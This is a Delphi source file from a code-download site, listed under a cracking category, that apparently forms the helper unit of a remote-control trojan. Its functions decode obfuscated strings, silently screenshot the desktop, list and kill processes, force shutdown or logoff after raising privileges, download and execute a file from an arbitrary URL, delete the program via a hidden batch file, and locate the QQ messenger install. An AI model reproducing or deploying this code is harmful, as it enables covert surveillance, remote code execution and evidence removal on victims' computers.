PUB.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:6k
源码类别:

破解

开发平台:

Delphi

  1. unit PUB;
  2. interface
  3. uses
  4.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  5.   JPEG, Registry, ShellApi, TLHelp32, URLMon, Dialogs, StdCtrls;
  6. function Uncrypt(str: string): string; //解密字符
  7. procedure ScreePic; //实现抓图
  8. function KillProcess(ExeName: string): Boolean; //关闭程序
  9. function CloseOperate(ID: string): Boolean;
  10. function EnumerateProcess: string; //列举进程
  11. procedure SutDwn(dwhat: Char); //关机
  12. function DownloadFile(SourceFile: string; RunFile: Boolean): Boolean;
  13. function GetSysDir: string;
  14. procedure DeleteMe; //删除自己
  15. implementation
  16. function Uncrypt(str: string): string; //解密字符
  17. var
  18.   i: Integer;
  19. begin
  20.   setlength(Result, Length(str));
  21.   for i := 1 to Length(str) do begin
  22.     if str[i] = '=' then Result[i] := '.'
  23.     else Result[i] := chr(ord(str[i]) - 1);
  24.   end;
  25. end;
  26. function GetSysDir: string;
  27. var
  28.   Dir: Pchar;
  29. begin
  30.   try
  31.     GetMem(Dir, 255);
  32.     GetsystemDirectory(Dir, 255);
  33.     Result := Dir;
  34.     FreeMem(Dir);
  35.   except
  36.     Result := '';
  37.   end;
  38. end;
  39. procedure DeleteMe; //删除自己
  40. var
  41.   BatchFile: TextFile;
  42. begin
  43.   AssignFile(BatchFile, 'Delme.bat');
  44.   Rewrite(BatchFile);
  45.   WriteLn(BatchFile, ':try');
  46.   WriteLn(BatchFile, 'del "' + ParamStr(0) + '"');
  47.   WriteLn(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try');
  48.   WriteLn(BatchFile, 'del %0');
  49.   WriteLn(BatchFile, 'del ' + ParamStr(0) + '.bat');
  50.   CloseFile(BatchFile);
  51.   WinexEc(Pchar('Delme.bat'), SW_Hide);
  52. end;
  53. procedure ScreePic; //实现抓图
  54. var
  55.   Fullscreen: TBitmap;
  56.   FullscreenCanvas: TCanvas;
  57.   DC: HDC;
  58.   Jpg: TJPEGImage;
  59. begin
  60.   Fullscreen := TBitmap.Create; //创建一个BITMAP来存放图象
  61.   try
  62.     Fullscreen.Width := Screen.Width;
  63.     Fullscreen.Height := Screen.Height;
  64.     DC := GetDC(0); //取得屏幕的DC,参数0指的是屏幕
  65.     FullscreenCanvas := TCanvas.Create; //创建一个CANVAS对象
  66.     FullscreenCanvas.Handle := DC;
  67.     Fullscreen.Canvas.CopyRect
  68.       (Rect(0, 0, Screen.Width, Screen.Height), FullscreenCanvas,
  69.       Rect(0, 0, Screen.Width, Screen.Height));
  70.   finally
  71.     FullscreenCanvas.Free; //释放CANVAS对象
  72.     ReleaseDC(0, DC); //释放DC
  73.   end;
  74.   Jpg := TJPEGImage.Create;
  75.   try
  76.     Jpg.Assign(Fullscreen);
  77.     Jpg.Compress;
  78.     Jpg.SaveToFile('C:screen.jpg');
  79.   finally
  80.     Jpg.Free;
  81.   end;
  82. end;
  83. function GetHttpFileName(URL: string): string;
  84. begin
  85.   Delete(URL, 1, 7);
  86.   while Pos('/', URL) > 0 do Delete(URL, 1, Pos('/', URL));
  87.   Result := URL;
  88. end;
  89. function DownloadFile(SourceFile: string; RunFile: Boolean): Boolean; //下载文件
  90. begin
  91.   try
  92.     Result := UrlDownloadToFile(nil, Pchar(SourceFile), Pchar('C:' + GetHttpFileName(SourceFile)), 0, nil) = 0;
  93.     if Result and RunFile then ShellExecute(Application.Handle, Pchar('open'), Pchar('C:' + GetHttpFileName(SourceFile)), Pchar(''), nil, SW_NORMAL);
  94.   except
  95.     Result := False;
  96.   end;
  97. end;
  98. function EnumerateProcess: string; //列举进程
  99. var
  100.   List: TStringList;
  101.   lppe: TProcessEntry32;
  102.   found: Boolean;
  103.   Hand: THandle;
  104. begin
  105.   List := TStringList.Create;
  106.   try
  107.     Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  108.     lppe.dwSize := SizeOf(lppe);
  109.     try
  110.       found := Process32First(Hand, lppe);
  111.       while found do begin
  112.         List.Add(ExtractFileName(lppe.szExeFile) + '  ID: ' + inttoHex(lppe.th32ProcessID, 10));
  113.         found := Process32Next(Hand, lppe);
  114.       end;
  115.     finally
  116.       Closehandle(Hand);
  117.     end;
  118.   finally
  119.     List.SaveToFile('C:result.txt');
  120.     Result := List.Text;
  121.     List.Free;
  122.   end;
  123. end;
  124. function KillProcess(ExeName: string): Boolean; //关闭程序
  125. var
  126.   lppe: TProcessEntry32;
  127.   found: Boolean;
  128.   Hand: THandle;
  129.   idname: string;
  130. begin
  131.   ExeName := UpperCase(ExeName);
  132.   Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  133.   try
  134.     lppe.dwSize := SizeOf(lppe);
  135.     found := Process32First(Hand, lppe);
  136.     while found do begin
  137.       idname := UpperCase(ExtractFileName(lppe.szExeFile));
  138.       if (Pos(ExeName, idname) > 0) then begin
  139.         if terminateprocess(OpenProcess(PROCESS_ALL_ACCESS or PROCESS_TERMINATE, False, dword(lppe.th32ProcessID)), 0) then Result := True;
  140.         Break;
  141.       end;
  142.       found := Process32Next(Hand, lppe);
  143.     end;
  144.   finally
  145.     Closehandle(Hand);
  146.   end;
  147. end;
  148. function CloseOperate(ID: string): Boolean;
  149. var
  150.   i: Longint;
  151.   h: Hwnd;
  152. begin
  153.   try
  154.     Delete(ID, 1, 4);
  155.     i := StrToInt('$' + ID);
  156.     h := OpenProcess(PROCESS_TERMINATE or PROCESS_ALL_ACCESS, False, i);
  157.     if terminateprocess(h, 0) then begin
  158.       Sleep(500);
  159.       Result := True;
  160.     end
  161.     else Result := False;
  162.   except
  163.     Result := False;
  164.   end
  165. end;
  166. procedure SutDwn(dwhat: Char); //关机
  167. var
  168.   htoken: THandle;
  169.   tkp: token_privileges;
  170.   rr: dword;
  171. begin
  172.   try
  173.     openprocesstoken(getcurrentprocess(), token_adjust_privileges or token_query, htoken);
  174.     lookupprivilegevalue(nil, 'seshutdownprivilege', tkp.Privileges[0].luid);
  175.     tkp.PrivilegeCount := 1;
  176.     tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  177.     adjusttokenprivileges(htoken, False, tkp, 0, nil, rr);
  178.     if dwhat = '1' then exitwindowsex(EWX_shutdown, 0);
  179.     if dwhat = '2' then exitwindowsex(EWX_REBOOT, 0);
  180.     if dwhat = '3' then exitwindowsex(EWX_LOGOFF, 0);
  181.   except
  182.     Exit;
  183.   end;
  184. end;
  185. function FindQQ: string; //找到QQ目录
  186. var
  187.   reg: TRegistry;
  188. begin
  189.   reg := TRegistry.Create;
  190.   Result := 'C:Program FilesTencentqq';
  191.   try
  192.     reg.RootKey := HKEY_LOCAL_MACHINE;
  193.     reg.LazyWrite := False;
  194.     reg.OpenKey('SOFTWARE腾讯QQ', True);
  195.     Result := reg.ReadString('Install');
  196.     reg.CloseKey;
  197.   finally
  198.     reg.Free;
  199.   end;
  200. end;
  201. end.